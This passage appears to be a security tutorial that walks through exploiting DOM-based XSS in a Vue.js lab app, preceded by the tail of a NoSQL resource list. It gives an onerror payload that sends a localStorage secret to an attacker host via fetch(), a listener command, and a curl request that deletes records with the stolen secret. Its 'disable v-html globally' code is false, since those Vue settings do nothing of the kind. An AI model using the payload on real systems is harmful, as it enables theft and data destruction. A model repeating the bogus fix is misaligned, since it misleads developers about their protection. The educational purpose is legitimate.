4. Research Paper: "NoSQL, No Injection? A Survey of NoSQL Security" (IEEE 2021)

Hands-On Practice

• Vulnerable Applications:
  • OWASP Juice Shop (NoSQL challenges)
  • DVWA (NoSQL injection modules)
• CTF Challenges:
  • Hack The Box "NoSQL" machines
  • CTFtime NoSQL injection writeups

DOM-Based Cross-Site Scripting (XSS) is a client-side attack that exploits vulnerabilities in the Document Object Model (DOM) of web applications. Unlike traditional XSS attacks, which target server-side vulnerabilities, DOM-Based XSS occurs entirely within the victim's browser. This makes it particularly dangerous for Single Page Applications (SPAs) built with frameworks like Vue.js, where dynamic content rendering is common.

---

How DOM-Based XSS Works

Core Mechanism

1. Source: User-controlled input (e.g., URL parameters, form fields) enters the DOM.
2. Sink: The application processes this input unsafely (e.g., using innerHTML, v-html, or eval).
3. Execution: Malicious JavaScript runs in the victim's browser, leading to data theft, session hijacking, or unauthorized actions.

Key Difference: DOM-Based XSS does not require server interaction—it exploits flaws in client-side JavaScript.

---

Identifying Vulnerabilities

Common Sinks in Vue.js

| Directive | Risk Level | Safe Alternative | |-----------------|------------|---------------------------| | v-html | High | {{ }} (auto-sanitized) | | innerHTML | High | textContent | | document.write| High | Avoid entirely |

Example of a Vulnerable Pattern

<!-- UNSAFE: v-html renders raw HTML -->
<td><p v-html="userInput"></p></td>

<!-- SAFE: {{ }} escapes HTML -->
<td>{{ userInput }}</td>

---

Exploiting DOM-Based XSS: Step-by-Step

1. Environment Setup

Configure the target domain to resolve locally:

sudo echo "[TARGET_IP] custom.local" >> /etc/hosts

Access the application at:

http://custom.local:5173/

2. Reconnaissance

• Use browser DevTools (Debugger tab) to inspect Vue components (e.g., Bdays.vue).
• Identify dynamic data flows and potential sinks.

3. Crafting the Exploit

Proof of Concept (PoC)

• Non-working payload (blocked by modern browsers):

  <script>alert('XSS')</script>
  

• Working payload (triggers via event handlers):

  <img src="x" onerror="console.log('XSS')">
  

Exfiltrating Data

Steal localStorage secrets with:

<img src="x" onerror="fetch('http://[ATTACKER_IP]:8888?secret=' + encodeURIComponent(localStorage.getItem('secret')))">

Start a listener:

python3 -m http.server 8888

4. Executing the Attack

1. Retrieve IDs: Intercept GET /bdays requests to extract entry IDs.
2. Delete Records: Use the stolen secret to send DELETE requests:

   curl -X DELETE "http://custom.local:5001/bdays/[ID]?secret=[STOLEN_SECRET]"
   

---

Prevention Strategies

Secure Coding Practices

• Avoid v-html: Use {{ }} for dynamic content in Vue.js.
• Sanitize Inputs: Use libraries like DOMPurify for untrusted HTML.
• Content Security Policy (CSP): Restrict inline scripts and external resources.

Framework-Specific Fixes

// Vue.js: Disable v-html globally
Vue.config.productionTip = false;
Vue.config.devtools = false;
Vue.config.silent = true; // Reduces attack surface

---

Attack Workflow Summary

| Step | Action | |--------------------|------------------------------------------------------------------------| | Recon | Analyze DOM and Vue components for sinks. | | Exploit Injection | Insert payload via vulnerable sink (e.g., v-html). | | Data Exfiltration | Steal secrets using JavaScript (e.g., localStorage). | | ID Discovery | Extract entry IDs via proxy tools (Burp Suite) or DevTools. | | Malicious Action | Send authenticated requests (e.g., DELETE) with stolen credentials. |

---

Lessons Learned

Never trust client-side rendering for sensitive operations. Always:

• Sanitize outputs.
• Validate inputs.
• Use secure alternatives to dangerous directives like v-html.

---

Learn More

• OWASP DOM-Based XSS Guide
• Vue.js Security Best Practices
• DOMPurify Documentation